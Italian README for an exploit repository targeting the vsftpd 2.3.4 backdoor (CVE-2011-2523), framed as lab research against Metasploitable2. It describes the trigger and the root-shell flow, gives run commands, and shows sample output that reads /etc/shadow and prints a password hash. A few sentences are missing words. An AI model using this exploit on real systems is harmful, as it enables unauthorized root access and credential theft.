Sviluppo di exploit da zero in Python. Niente Metasploit. Niente framework. Implementazione a livello di socket grezzo di CVE reali contro target di laboratorio autorizzati.
vsftpd (Very Secure FTP Daemon) è un server FTP per piattaforme Unix-like, incluso Linux, distribuito sotto la GNU General Public License.
Nel luglio 2011, è stato scoperto che la versione 2.3.4 di vsftpd — disponibile per il download tra il 30 giugno e il 3 luglio 2011 — era stata compromessa. Un attaccante sconosciuto ha ottenuto accesso al server di distribuzione di vsftpd e ha iniettato una backdoor direttamente nel codice sorgente prima che fosse distribuito agli utenti.
Non si trattava di un bug nel design di vsftpd. Era un attacco alla supply chain — il software legittimo è stato sostituito con una versione modificata malevolmente.
Il codice della backdoor iniettato monitora il campo del nome utente FTP durante il login.
Se il nome utente contiene :) (una faccina sorridente), la backdoor genera una
sulla macchina target — senza alcuna
autenticazione richiesta.
Flusso dell'attacco:
Attaccante → porta 21 (FTP) → invia USER contenente :) → la backdoor si attiva → la shell root si apre sulla porta 6200
Attaccante → porta 6200 → shell root interattiva completa
Classificazione CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
Questo exploit è scritto da zero in puro Python utilizzando solo la libreria
standard (socket). Niente Metasploit. Niente framework di exploit. Nessuna
dipendenza esterna.
Passo per passo:
:) per attivare la backdoor# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
Output di esempio:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| Scenario | Comportamento |
|---|---|
| Porta 21 chiusa | Stampa "Port is closed", esce in modo pulito |
| Timeout della connessione | Stampa "Connection timed out", esce in modo pulito |
| Hostname/IP non valido | Stampa "Invalid target", esce in modo pulito |
| Versione di vsftpd errata | Stampa un messaggio di mancata corrispondenza, esce in modo pulito |
| Porta 6200 irraggiungibile | Stampa un messaggio di fallimento della backdoor, esce in modo pulito |
Questo exploit è sviluppato strettamente per scopi educativi e solo per ricerca di sicurezza autorizzata.
Creato e testato esclusivamente contro una macchina virtuale Metasploitable2 locale in un ambiente di laboratorio completamente isolato.
Non utilizzare questo strumento contro qualsiasi sistema di cui non si è proprietari o per cui non si ha esplicita autorizzazione scritta per il test. L'uso non autorizzato è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e leggi equivalenti in tutto il mondo.
L'autore non si assume alcuna responsabilità per l'uso improprio di questo codice.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub